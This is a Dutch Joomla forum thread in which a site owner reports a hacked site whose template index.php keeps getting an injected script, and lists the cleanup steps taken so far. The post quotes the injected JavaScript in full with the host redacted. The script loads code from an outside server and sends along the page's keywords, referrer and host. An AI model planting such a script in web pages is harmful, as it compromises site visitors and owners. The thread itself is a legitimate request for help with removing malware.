Vermeld in iedere vraag duidelijk:
- De versie van Joomla! 3.X die je gebruikt
- De volledige url van je website indien mogelijk.
- De versie van de extensie waar de vraag over gaat.
Periodiek besmet script in template index
Periodiek besmet script in template index
15 mrt 2016 10:32
Een site lijkt gehacked (geweest), vermoeden gebaseerd op:
Er wordt periodiek een script in de template index.php geplaatst. Betreft onderstaande code (domein in URL heb ik verwijderd, is soms een domeinnaam, soms een IP adres):
Situatie:
Het is kennelijk al dusdanig lang aan de hand dat er geen volledig schone back-up beschikbaar is.
Er wordt periodiek een script in de template index.php geplaatst. Betreft onderstaande code (domein in URL heb ik verwijderd, is soms een domeinnaam, soms een IP adres):
Code:
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://xxxxxxxxx/js/jquery.min.php?c_utt=G91825&c_utm='+encodeURIComponent('http://xxxxxxxxx/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
Situatie:
- Joomla is up-to-date (3.4.
- Extensions up-to-date
- FTP wachtwoord is aangepast
- Database wachtwoord aangepast
- Joomla accounts wachtwoord is aangepast
- Besmette Joomla PHP bestanden (In enkele tientallen bestanden was een regel code bovenaan het PHP bestand toegevoegd ) opgeschoond (opgespoord met Akeeba Admin Tools)
- Besmette niet Joomla gerelateerde PHP bestanden verwijderd (opgespoord met Akeeba Admin Tools)
Het is kennelijk al dusdanig lang aan de hand dat er geen volledig schone back-up beschikbaar is.
- jantje88
-
Heeft onderwerp gestart
- Bekend met Joomla!NL
-
- Berichten: 65
- WoodyF4u
-
- Moderator + Nieuwsteam
-
- Berichten: 11380
